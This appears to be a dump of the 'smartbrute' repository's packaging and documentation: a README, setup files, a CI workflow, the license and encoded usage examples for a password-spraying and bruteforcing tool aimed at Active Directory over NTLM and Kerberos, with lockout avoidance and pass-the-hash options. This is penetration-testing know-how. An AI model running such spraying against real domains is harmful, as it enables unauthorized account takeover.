├── passwords.txt ├── requirements.txt ├── .memes ├── 001.png ├── 002.png ├── 003.png ├── 004.png └── 005.png ├── .assets ├── usage.png ├── cmd_help.png ├── graph_help.png ├── smartbrute.png ├── example_brute.gif ├── example_smart.gif ├── cmd_help.txt ├── usage.txt ├── smartbrute.svg └── graph_help.drawio ├── .gitignore ├── TODO.md ├── .github ├── FUNDING.yml └── workflows │ └── ci.yml ├── setup.py ├── README.md ├── LICENSE └── smartbrute.py /passwords.txt: -------------------------------------------------------------------------------- 1 | 1 2 | 2 3 | 3 4 | 4 5 | 5 6 | 7 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | neo4j 2 | ldap3 3 | pyasn1 4 | impacket 5 | rich -------------------------------------------------------------------------------- /.memes/001.png: -------------------------------------------------------------------------------- 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-------------------------------------------------------------------------------- 1 | # PyCharm and Python workspace 2 | .idea/ 3 | venv 4 | 5 | # Build logs for debugging 6 | .build.log -------------------------------------------------------------------------------- /TODO.md: -------------------------------------------------------------------------------- 1 | - improve ldap results based on code from function `get_attributes_from_object_dn` 2 | - wiki/documentation/readme/GIFs 3 | - add `-o/--output-file` argument to save important findings in files 4 | - add sprayhound dynamically in requirements and in code now that it's on pypi https://pypi.org/project/sprayhound/ 5 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: nwodtuhs 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 13 | -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: CI 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | pull_request: 7 | branches: [ main ] 8 | 9 | jobs: 10 | build: 11 | runs-on: ubuntu-latest 12 | 13 | steps: 14 | - name: Checkout code 15 | uses: actions/checkout@v4 16 | 17 | - name: Set up Python 18 | uses: actions/setup-python@v5 19 | with: 20 | python-version: '3.13' 21 | 22 | - name: Install dependencies from source 23 | run: | 24 | python -m pip install --upgrade pip 25 | pip install -r requirements.txt 26 | 27 | - name: Execute test command from source 28 | run: | 29 | python3 smartbrute.py --help 30 | 31 | - name: Install package with pipx 32 | run: | 33 | python3 -m pip install --user pipx 34 | python3 -m pipx ensurepath 35 | pipx install . 36 | 37 | - name: Execute test command with pipx 38 | run: | 39 | smartbrute --help -------------------------------------------------------------------------------- /.assets/cmd_help.txt: -------------------------------------------------------------------------------- 1 | https://carbon.now.sh/?bg=rgba%28171%2C184%2C195%2C0%29&t=seti&wt=none&l=auto&ds=true&dsyoff=20px&dsblur=68px&wc=true&wa=false&pv=56px&ph=56px&ln=false&fl=1&fm=Hack&fs=14px&lh=133%25&si=false&es=2x&wm=false&code=smartbrute%2520brute%2520-bu%2520%27user%27%2520-bP%2520passwords.txt%2520ntlm%2520-d%2520domain.local%250Asmartbrute%2520brute%2520-bu%2520%27user%27%2520-bP%2520passwords.txt%2520kerberos%2520-d%2520domain.local%250A%250Asmartbrute%2520smart%2520-bP%2520passwords.txt%2520kerberos%2520-d%2520domain.local%2520-u%2520%27account-1%27%2520-p%2520%27p%2540ssw0rd%27%2520kerberos%250Asmartbrute%2520smart%2520-bP%2520passwords.txt%2520kerberos%2520-d%2520domain.local%2520-u%2520%27account-1%27%2520-p%2520%27p%2540ssw0rd%27%2520ntlm%250Asmartbrute%2520smart%2520-bP%2520passwords.txt%2520ntlm%2520-d%2520domain.local%2520-u%2520%27account-1%27%2520-p%2520%27p%2540ssw0rd%27%2520ntlm%250Asmartbrute%2520smart%2520-bP%2520passwords.txt%2520ntlm%2520-d%2520domain.local%2520-u%2520%27account-1%27%2520-p%2520%27p%2540ssw0rd%27%2520kerberos -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import shutil 2 | import os 3 | from setuptools import setup 4 | 5 | with open('README.md', 'r', encoding='utf-8') as f: 6 | long_description = f.read() 7 | 8 | with open('requirements.txt', 'r', encoding='utf-8') as f: 9 | content = f.readlines() 10 | requirements = [x.strip() for x in content] 11 | 12 | shutil.copyfile('smartbrute.py', 'smartbrute') 13 | 14 | setup( 15 | name='smartbrute', 16 | version='1.1.0', 17 | author='Shutdown, Podalirius', 18 | description='', 19 | long_description=long_description, 20 | long_description_content_type='text/markdown', 21 | url='https://github.com/ShutdownRepo/smartbrute/', 22 | classifiers=[ 23 | 'Environment :: Console' 24 | 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)', 25 | 'Operating System :: POSIX :: Linux', 26 | 'Programming Language :: Python :: 3', 27 | 'Topic :: Security', 28 | ], 29 | python_requires='>=3.6', 30 | install_requires=requirements, 31 | scripts=["smartbrute"] 32 | ) 33 | os.remove("smartbrute") 34 | -------------------------------------------------------------------------------- /.assets/usage.txt: -------------------------------------------------------------------------------- 1 | https://carbon.now.sh/?bg=rgba%28171%2C184%2C195%2C0%29&t=seti&wt=none&l=auto&ds=true&dsyoff=20px&dsblur=68px&wc=true&wa=false&pv=56px&ph=56px&ln=false&fl=1&fm=Hack&fs=14px&lh=133%25&si=false&es=2x&wm=false&code=%2524%2520python3%2520smartbrute.py%2520-h%250A%2520%2520%250Ausage%253A%2520smartbrute.py%2520%255B-h%255D%2520%255B-v%255D%2520%255B-q%255D%2520%255B--set-as-owned%255D%2520%255B-nh%2520NEO4J_HOST%255D%2520%255B-nP%2520NEO4J_PORT%255D%2520%255B-nu%2520NEO4J_USER%255D%2520%255B-np%2520NEO4J_PASSWORD%255D%2520%257Bbrute%252Csmart%257D%2520...%250A%250AThe%2520smart%2520password%2520spraying%2520and%2520bruteforcing%2520tool%2520for%2520Active%2520Directory%2520Domain%2520Services.%250A%250Apositional%2520arguments%253A%250A%2520%2520%257Bbrute%252Csmart%257D%2520%2520%2520%2520%2520%2520%2520%2520%2520this%2520is%2520a%2520required%2520argument%2520and%2520tells%2520smartbrute%2520in%2520which%2520mode%2520to%2520run.%2520smart%2520mode%2520will%2520enumerate%2520users%2520and%2520policies%2520and%2520avoid%2520locking%2520out%2520accounts%2520given%2520valid%2520domain%2520credentials.%2520brute%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520mode%2520is%2520dumb%2520and%2520only%2520bruteforces.%250A%2520%2520%2520%2520brute%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520bruteforce%2520mode%250A%2520%2520%2520%2520smart%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520smart%2520mode%250A%250Aoptional%2520arguments%253A%250A%2520%2520-h%252C%2520--help%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520show%2520this%2520help%2520message%2520and%2520exit%250A%2520%2520-v%252C%2520--verbose%2520%2520%2520%2520%2520%2520%2520%2520%2520verbosity%2520level%2520%28-v%2520for%2520verbose%252C%2520-vv%2520for%2520debug%29%250A%2520%2520-q%252C%2520--quiet%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520show%2520no%2520information%2520at%2520all%250A%250Aneo4j%2520option%253A%250A%2520%2520--set-as-owned%2520%2520%2520%2520%2520%2520%2520%2520Set%2520valid%2520users%2520as%2520owned%2520in%2520neo4j%250A%2520%2520-nh%2520NEO4J_HOST%252C%2520--neo4j-host%2520NEO4J_HOST%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520neo4j%2520database%2520address%2520%28default%253A%2520127.0.0.1%29%250A%2520%2520-nP%2520NEO4J_PORT%252C%2520--neo4j-port%2520NEO4J_PORT%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520neo4j%2520database%2520port%2520%28default%253A7687%29%250A%2520%2520-nu%2520NEO4J_USER%252C%2520--neo4j-user%2520NEO4J_USER%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520neo4j%2520username%2520%28default%253A%2520neo4j%29%250A%2520%2520-np%2520NEO4J_PASSWORD%252C%2520--neo4j-password%2520NEO4J_PASSWORD%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520neo4j%2520password%2520%28default%253A%2520neo4j%29 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Description 4 | 5 | The smart password spraying and bruteforcing tool for Active Directory Domain Services. 6 | 7 | **:warning: This project works. But the filthy coding makes it more PoC than a stable tool. I may or may not rewrite this in the future, but at least you have everything here to work with bruteforce on any protocol. It has been tested in ~10 environments on my side, it works 🤷‍♂️** 8 | 9 | ## Core features 10 | 11 | This tool can be used to bruteforce/spray Active Directory accounts credentials. The following attacks are supported, each attack has its own benefits: 12 | - NTLM over SMB bruteforce: when valid accounts are found, they will be tested for local administrative privileges. 13 | - NTLM over LDAP bruteforce 14 | - [Kerberos pre-authentication bruteforce](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pre-auth-bruteforce): this is the fastest and stealthiest way. 15 | + The transport protocol can be chosen: UDP or TCP. UDP is the fastest but sometimes throws errors. 16 | + The etype can be chosen: RC4, AES128, AES256. RC4 is the fastest but AES128 and AES256 are the stealthiest. 17 | 18 | Passwords are not the only secrets that can be bruteforced with this tool. 19 | - When bruteforcing on NTLM: NT hashes can be attempted. 20 | - When bruteforcing on Kerberos: RC4 keys (i.e. NT hashes) can be attempted. 21 | 22 | When valid accounts are found: 23 | - they can be set as owned in a neo4j database (used by BloodHound) 24 | - when using neo4j, owned users that are on a path to Domain Admins will be highlighted 25 | 26 | This tool can be used in two different modes for different scenarios: `smart` or `brute`. 27 | 28 | ### Smart mode 29 | 30 | This mode can be used to make sure NOT to lock any account when bruteforcing by: 31 | - Fetching the enabled users from Active Directory 32 | - Fetching bad password count for each user 33 | - Fetching lockout policies (global policy and granular policies set in Password Settings Objects). _Nota bene: PSOs can be applied to groups, the tool recursively lists all members from those groups and sets the appropriate lockout threshold for each user._ 34 | - Bruteforcing users according to the information found (i.e. keep the bad password count below the lockout threshold. A safety margin can be set). 35 | 36 | In order for the first LDAP enumeration to occur, this mode requires knowledge of a low-priv user credentials. The following authentications are supported: 37 | - **(NTLM)** Cleartext password 38 | - **(NTLM)** [Pass-the-hash](https://www.thehacker.recipes/active-directory-domain-services/movement/lm-and-ntlm/pass-the-hash) 39 | - **(Kerberos)** Cleartext password 40 | - **(Kerberos)** [Pass-the-key](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pass-the-key) / [Overpass-the-hash](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/overpass-the-hash) 41 | - **(Kerberos)** [Pass-the-cache](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pass-the-cache) (type of [Pass-the-ticket](https://www.thehacker.recipes/active-directory-domain-services/movement/kerberos/pass-the-ticket)) 42 | 43 | Before bruteforcing anything, this mode also recursively fetches the members of special groups (Administrators, Domain Admins, Entreprise Key Admins, and many more). 44 | When valid credentials are found, if the account is part of those members, it will be highlighted. 45 | 46 | In smart mode, bruteforce can also be skipped to only show fetched users or password policies. 47 | 48 | ![](./.assets/example_smart.gif) 49 | 50 | ### Brute mode 51 | 52 | The `brute` mode doesn't require prior knowledge of a low-priv user credentials but doesn't have safety features like the `smart` mode. This mode CAN effectively lock accounts. 53 | In this mode, a username (or list of usernames) has to be supplied. 54 | - Bruteforce can be operated line per line when supplying lists for both usernames and passwords/hashes 55 | - On the first successful bruteforced authentication, the tool will recursively fetch (using LDAP) the members of special groups (Administrators, Domain Admins, Entreprise Key Admins, and many more). When valid credentials are found, if the account is part of those members, it will be highlighted. 56 | - Bruteforce can be stopped when a valid account is found 57 | 58 | ![](./.assets/example_brute.gif) 59 | 60 | ## Usage 61 | 62 | This tool is designed to give its users the most control over what is happening. This leads to a complex (not complicated, there's a difference) usage. 63 | This tool is built around multiple subparsers allocated in the following manner (cf. following graph and picture). 64 | 65 | ![](./.assets/cmd_help.png) 66 | ![](./.assets/graph_help.png) 67 | ![](./.assets/usage.png) 68 | 69 | ## Contributing 70 | 71 | Pull requests are welcome. Feel free to open an issue if you want to add other features. 72 | 73 | ## Credits & thanks 74 | 75 | This tool as well as its code was inspired/based on: 76 | - [impacket](https://github.com/SecureAuthCorp/impacket) 77 | - [sprayhound](https://github.com/Hackndo/sprayhound) 78 | - [crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) 79 | - [kerbrute](https://github.com/ropnop/kerbrute) and [pykerbrute](https://github.com/3gstudent/pyKerbrute) 80 | - and probably indirectly many more 81 | 82 | We thank all contributors behind those projects. 83 | 84 | ## Memes 85 | 86 | And now, here is a collection of memes that perfectly frames this tool's spirit (feel free to contribute) 87 | 88 |

89 | 90 | 91 | 92 | 93 | 94 |

95 | -------------------------------------------------------------------------------- /.assets/smartbrute.svg: -------------------------------------------------------------------------------- 1 | 2 | 20 | 22 | 45 | 47 | 48 | 50 | image/svg+xml 51 | 53 | 54 | 55 | 56 | 57 | 62 | 65 | 68 | 72 | 76 | 80 | 81 | 84 | 88 | 92 | 96 | 97 | 100 | 104 | 108 | 112 | 116 | 120 | 124 | 125 | 126 | 129 | Smart 141 | Brute 153 | / 164 | 165 | 166 | 167 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. 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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /.assets/graph_help.drawio: -------------------------------------------------------------------------------- 1 | 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